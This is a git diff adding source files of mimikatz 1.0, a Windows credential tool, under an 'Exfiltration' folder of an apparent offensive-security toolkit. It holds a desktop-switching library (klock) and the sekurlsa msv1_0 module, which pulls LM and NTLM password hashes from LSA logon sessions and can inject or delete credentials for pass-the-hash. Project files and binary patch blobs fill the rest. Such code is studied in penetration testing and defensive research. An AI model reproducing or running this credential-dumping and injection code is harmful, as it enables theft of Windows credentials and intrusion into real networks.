0000000000000000000000000000000000000000..a07a6d6ef44693787a2899d9780df75125feb7ea GIT binary patch literal 374 zcmd6iO9}!p5JcZv@F+9**}2PvpusqbzY!U{|0&d$o#+K5i%M5jcUQlj4AdbSEW?&{x6!Jw{y{_he1A+QCU;qFB literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp new file mode 100644 index 0000000..9717c49 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp @@ -0,0 +1,97 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "klock.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"kLock : librairie de manipulation des bureaux"); + return true; +} + +bool getNameOfDesktop(HDESK desktop, wstring &bureau) +{ + bool resultat = false; + + wchar_t * monBuffer; + DWORD tailleRequise = 0; + + if(!GetUserObjectInformation(desktop, UOI_NAME, NULL, 0, &tailleRequise) && (tailleRequise > 0)) + { + monBuffer = new wchar_t[tailleRequise]; + if(resultat = (GetUserObjectInformation(desktop, UOI_NAME, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + bureau.assign(monBuffer); + } + delete[] monBuffer; + } + return resultat; +} + +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments) +{ + wstringstream maReponse; + wstring source, cible, monBureau; + bool modeFullAuto = true; + + if(mesArguments->size() == 2) + { + modeFullAuto = false; + source = mesArguments->front(); + cible = mesArguments->back(); + } + + if (HDESK hOriginalDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ | DESKTOP_SWITCHDESKTOP)) + { + if(getNameOfDesktop(hOriginalDesktop, monBureau)) + { + maReponse << L"Bureau courant : " << monBureau << endl; + + if((_wcsicmp(monBureau.c_str(), source.c_str()) == 0) || modeFullAuto) + { + if(modeFullAuto) + cible = _wcsicmp(monBureau.c_str(), L"Default") == 0 ? L"WinLogon" : L"Default"; + + maReponse << L"Bureau cible : " << cible << endl; + + if (HDESK hNewDesktop = OpenDesktop(cible.c_str(), 0, FALSE, DESKTOP_SWITCHDESKTOP)) + { + if (SwitchDesktop(hNewDesktop)) + maReponse << L"Switch du bureau réussi !"; + else + maReponse << L"Erreur : impossible de basculer le bureau ; SwitchDesktop : " << mod_system::getWinError(); + maReponse << endl; + CloseDesktop(hNewDesktop); + } + else maReponse << "Erreur : impossible d\'ouvrir le bureau cible (" << cible << L") ; OpenDesktop : " << mod_system::getWinError(); + } + else if(!modeFullAuto) + maReponse << L"Erreur : le bureau courant (" << monBureau << L") ne correspond pas au bureau source indiqué (" << source << L")" << endl; + } + else maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hOriginalDesktop); + } + else maReponse << L"Erreur : impossible d\'ouvrir le bureau courant ; OpenInputDesktop : " << mod_system::getWinError() << endl; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments) +{ + wstringstream maReponse; + wstring monBureau; + + if (HDESK hDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ)) + { + if(getNameOfDesktop(hDesktop, monBureau)) + maReponse << L"Bureau courant : " << monBureau << endl; + else + maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; + + CloseDesktop(hDesktop); + } + return sendTo(monPipe, maReponse.str()); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h new file mode 100644 index 0000000..e6ea046 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h @@ -0,0 +1,14 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_system.h" + +__kextdll bool __cdecl getDescription(wstring * maDescription); + +bool getNameOfDesktop(HDESK desktop, wstring &bureau); +__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc new file mode 100644 index 0000000000000000000000000000000000000000..28599d25a1e95a63dc6864446ed6dd81d2f0fb25 GIT binary patch literal 1866 zcmbu9TW=C!5Qg7t6aT{}z0t%NsQm-wC~*s<3#eD5Qi>ZYOJIqI_}kTIzGd0MQX@2* zJeE(qz_1t@l16m)jpavjLJ)Tu*L4B;Vrfj-oo4MkNV?)*a4myWTMdxJf z>2>VkJ0|CAs+1J??N{pvG5`Po literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj new file mode 100644 index 0000000..a93a79d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj @@ -0,0 +1,131 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {6556249E-1C80-4047-A863-F608C8B8AC55} + Win32Proj + klock + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + user32.lib;shlwapi.lib;secur32.lib + NoErrorReport + + + 0x040c + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + user32.lib;shlwapi.lib;secur32.lib + NoErrorReport + + + 0x040c + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters new file mode 100644 index 0000000..cc5f342 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters @@ -0,0 +1,53 @@ + + + + + {255a8a01-9f58-4a47-9d1e-1d5fc9f16419} + + + {d6070dc8-7a9b-46c0-b75a-5fd6c10f8613} + + + {01639990-b135-46fe-8511-84761977c1bf} + + + {fa3fed71-2d05-4e39-a46b-59e9b2c83e04} + + + {e53f7390-cd26-41d0-9f10-ea350fc88e43} + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + Modules Communs\System + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + Modules Communs\System + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp new file mode 100644 index 0000000..b429e5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp @@ -0,0 +1,153 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" + +bool searchMSVFuncs() +{ + if(!MSV1_0_MspAuthenticationPackageId) + MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3; + return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0)); +} + +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + unsigned short reservedSize = 0; + PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL; + if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize))) + { + wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword)); + + if(justSecurity) + maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + maReponse << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds); + } + else maReponse << L"n.t. (LUID KO)"; + } + else maReponse << L"n.a. (msv KO)"; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2) + { + wstring idSecAppHigh = L"0"; + wstring idSecAppLow = mesArguments->front(); + if(mesArguments->size() > 1) + { + idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back(); + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + if(idApp.LowPart != 0 || idApp.HighPart != 0) + maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des données de sécurité réussie :)" : L"Suppression des données de sécurité en échec :("); + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6) + { + MSV1_0_PRIMARY_CREDENTIAL kiwicreds; + RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL)); + + wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back(); + kiwicreds.LmPasswordPresent = FALSE; + kiwicreds.NtPasswordPresent = TRUE; + + switch(mesArguments->size()) // méchants arguments utilisateurs + { + case 4: + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + break; + case 6: + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(4); + break; + case 5: + if(mesArguments->at(3).size() == 0x20) + { + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(3); + } + else + { + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + } + break; + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + + if(idApp.LowPart != 0 || idApp.HighPart != 0) + { + if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN) + { + mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName); + mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine); + if(kiwicreds.LmPasswordPresent) + mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword); + mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword); + + maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de données de sécurité réussie :)" : L"Injection de données de sécurité en échec :("); + } + else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractères, le nom d\'utilisateur et le domaine/poste au maximum 22 caractères"; + } + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h new file mode 100644 index 0000000..4749573 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h @@ -0,0 +1,16 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" +#include "msv1_0_helper.h" + +bool searchMSVFuncs(); +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp new file mode 100644 index 0000000..7ccb8e5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp @@ -0,0 +1,53 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0_helper.h" +DWORD MSV1_0_MspAuthenticationPackageId = 0; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); +} + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize) +{ + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName); + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName); + CredentialString.Buffer = reinterpret_cast(Credential); + CredentialString.MaximumLength = CredentialString.Length = CredentialSize; + SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length); + return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString ); +} + +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize) +{ + ULONG QueryContext = 0, PrimaryKeyLength; + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString); + if(NT_SUCCESS(retour)) + { + SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length); + *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer; + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false); + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false); + if (CredentialSize) + *CredentialSize = CredentialString.Length; + } + return retour; +} + +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId) +{ + STRING PrimaryKeyValue; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h new file mode 100644 index 0000000..e9afd03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h @@ -0,0 +1,28 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +#define MSV1_0_PRIMARY_KEY "Primary" +extern DWORD MSV1_0_MspAuthenticationPackageId; + +typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; +} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize); +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize); +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..af1843d70b3ad3f14780e0dcdacaee84f22598d8 GIT binary patch literal 365578 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 